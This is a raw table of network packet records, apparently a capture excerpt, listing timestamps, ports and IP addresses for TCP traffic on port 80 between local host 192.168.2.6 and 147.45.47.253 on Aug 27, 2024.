Aug 27, 2024 20:12:03.241295099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.241420984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.501244068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.506643057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688102007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688112020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688126087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688200951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.688222885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688230038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688230038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.688277006 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.688365936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688371897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688386917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688422918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.688433886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.688533068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688539028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688550949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688595057 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.688690901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688697100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688708067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.688749075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.782361984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782371044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782377958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782398939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782406092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782418013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782459021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782530069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782567024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782572985 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.782613993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.782648087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782660961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782674074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782716036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.782731056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.782788038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782795906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782802105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782830954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.782854080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.782926083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782938004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782949924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.782989025 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.783000946 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.783078909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.783086061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.783097029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.783130884 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.783155918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.783219099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.783225060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.783237934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.783272028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.783294916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.783341885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.783385038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.877119064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877156019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877163887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877193928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.877228975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.877264977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877271891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877284050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877290010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877317905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.877334118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.877525091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877532005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877538919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877545118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877551079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877562046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877569914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877583027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877583027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.877590895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877613068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.877633095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.877892017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877899885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.877940893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.877964020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.878038883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878046036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878057957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878065109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878070116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878088951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878089905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.878096104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878123045 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.878138065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.878515005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878526926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878532887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878539085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878544092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878556013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878561020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878571987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878578901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878580093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.878583908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878591061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878604889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.878628016 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.878890991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878958941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.878981113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878988981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.878999949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.879010916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.879013062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.879025936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.879030943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.879033089 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.879070044 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.963649035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.963787079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.971241951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971259117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971265078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971318960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.971339941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971394062 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.971398115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971448898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.971457005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971462965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971478939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971513033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.971540928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.971580029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971586943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971640110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.971700907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971707106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971719027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971724987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971730947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971738100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971764088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.971776009 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.971925974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971930981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.971985102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.972013950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972019911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972033024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972038031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972071886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.972094059 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.972228050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972239971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972246885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972251892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972258091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972263098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972290993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.972322941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.972418070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972429991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972476959 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.972578049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972584009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972603083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972609043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972618103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972625017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972631931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972640991 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.972918987 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972924948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972937107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972943068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972949982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972955942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972960949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.972960949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.972960949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.972978115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.973007917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.973177910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973184109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973196030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973239899 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.973242044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973248959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973261118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973268986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973294020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.973315001 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.973676920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973683119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973687887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973694086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973709106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973716021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973726988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973736048 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.973773003 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.973963976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973969936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973975897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973980904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973985910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973990917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.973997116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974010944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974016905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974025011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.974028111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974035025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974040031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974045992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.974045992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974054098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974066019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974071980 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.974095106 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.974117041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.974658012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974664927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974677086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974683046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974689007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974694014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974700928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974706888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974711895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.974725962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.974762917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.975244999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975253105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975265026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975276947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975284100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975296974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975301027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975306988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975312948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975312948 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.975320101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975330114 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.975334883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975342035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975347996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.975373983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.975389004 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:03.975718975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:03.975784063 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.065521002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065546989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065553904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065619946 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.065634966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065645933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.065669060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065675974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065690041 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.065722942 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.065781116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065788031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065799952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065836906 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.065931082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065937042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065948963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.065984964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.066090107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066095114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066099882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066107035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066112995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066119909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066137075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.066154957 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.066174984 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.066344976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066350937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066363096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066369057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066381931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066406965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.066436052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.066569090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066576004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066611052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.066699982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066705942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066711903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066718102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066724062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066730022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066744089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066757917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.066777945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.066929102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.066970110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.067071915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067079067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067089081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067095041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067100048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067106009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067111969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067117929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067128897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.067130089 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067161083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.067178011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.067543030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067548990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067560911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067567110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067572117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067578077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067585945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067596912 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067603111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067604065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.067615032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:04.067637920 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.067663908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:04.068041086 CEST	80	49710	147.45.47.253	192.168.2.6
